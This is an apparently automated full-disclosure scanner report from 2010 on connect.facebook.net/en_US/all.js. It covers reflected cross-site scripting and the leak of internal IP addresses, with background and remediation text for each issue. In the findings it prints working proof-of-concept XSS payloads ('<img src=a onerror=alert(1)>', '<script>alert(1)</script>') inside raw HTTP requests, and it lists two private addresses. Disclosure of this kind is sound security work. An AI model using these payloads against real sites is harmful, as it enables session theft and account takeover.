Current Research | Full Disclosure | As of March 14, 2011

Report generated by Hoyt LLC Research at Sun Nov 07 17:46:52 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://connect.facebook.net/en_US/all.js [REST URL parameter 1]

1.2. http://connect.facebook.net/en_US/all.js [REST URL parameter 2]

2. Private IP addresses disclosed

2.1. http://connect.facebook.net/en_US/all.js

2.2. http://connect.facebook.net/en_US/all.js

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/en_US/all.js [REST URL parameter 1]
/en_US/all.js [REST URL parameter 2]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://connect.facebook.net/en_US/all.js [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://connect.facebook.net
Path:	/en_US/all.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8fdc6<img%20src%3da%20onerror%3dalert(1)>c2bee139b2f was submitted in the REST URL parameter 1. This input was echoed as 8fdc6<img src=a onerror=alert(1)>c2bee139b2f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /en_US8fdc6<img%20src%3da%20onerror%3dalert(1)>c2bee139b2f/all.js HTTP/1.1
Accept: */*
Referer: http://news.cnet.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: connect.facebook.net
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 82
Content-Type: application/x-javascript; charset=utf-8
Pragma: no-cache
X-Cnection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sun, 07 Nov 2010 22:26:56 GMT
Date: Sun, 07 Nov 2010 22:26:56 GMT
Connection: close

/* "en_US8fdc6<img src=a onerror=alert(1)>c2bee139b2f" is not a valid locale. */

1.2. http://connect.facebook.net/en_US/all.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://connect.facebook.net
Path:	/en_US/all.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload ff867<script>alert(1)</script>0324d27840f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en_US/all.jsff867<script>alert(1)</script>0324d27840f HTTP/1.1
Accept: */*
Referer: http://news.cnet.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: connect.facebook.net
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 84
Content-Type: application/x-javascript; charset=utf-8
X-Cnection: close
Expires: Sun, 07 Nov 2010 22:26:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 07 Nov 2010 22:26:59 GMT
Connection: close

/* "jsff867<script>alert(1)</script>0324d27840f" is not a valid component type. */

2. Private IP addresses disclosed previous
There are 2 instances of this issue:

/en_US/all.js
/en_US/all.js

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

2.1. http://connect.facebook.net/en_US/all.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://connect.facebook.net
Path:	/en_US/all.js

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.27.54.130

Request

GET /en_US/all.js HTTP/1.1
Accept: */*
Referer: http://news.cnet.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: connect.facebook.net
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
ETag: "e8df723c21ad87026ece4d3069364e38"
Pragma:
X-Cnection: close
Cache-Control: public, max-age=1200
Expires: Sun, 07 Nov 2010 20:44:54 GMT
Date: Sun, 07 Nov 2010 20:24:54 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 90817

/*
HTTP Host: connect.facebook.net
Generated: November 4th 2010 12:44:03 AM PDT
Machine: 10.27.54.130
Location: JIT Construction: v309975
Locale: en_US
*/

if(!window.FB)FB={_apiKey:null,_session:null,_userStatus:'unknown',_logging:true,_inCanvas:((window.location.search.indexOf('fb_sig_in_iframe=1')>
...[SNIP]...

2.2. http://connect.facebook.net/en_US/all.js previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://connect.facebook.net
Path:	/en_US/all.js

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.32.111.118

Request

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
ETag: "e8df723c21ad87026ece4d3069364e38"
Pragma:
X-Cnection: close
Cache-Control: public, max-age=1200
Expires: Sun, 07 Nov 2010 22:46:48 GMT
Date: Sun, 07 Nov 2010 22:26:48 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 90818

/*
HTTP Host: connect.facebook.net
Generated: November 4th 2010 12:47:09 AM PDT
Machine: 10.32.111.118
Location: JIT Construction: v309975
Locale: en_US
*/

if(!window.FB)FB={_apiKey:null,_session:null,_userStatus:'unknown',_logging:true,_inCanvas:((window.location.search.indexOf('fb_sig_in_iframe=1')>
...[SNIP]...

Report generated by Hoyt LLC Research at Sun Nov 07 17:46:52 CST 2010.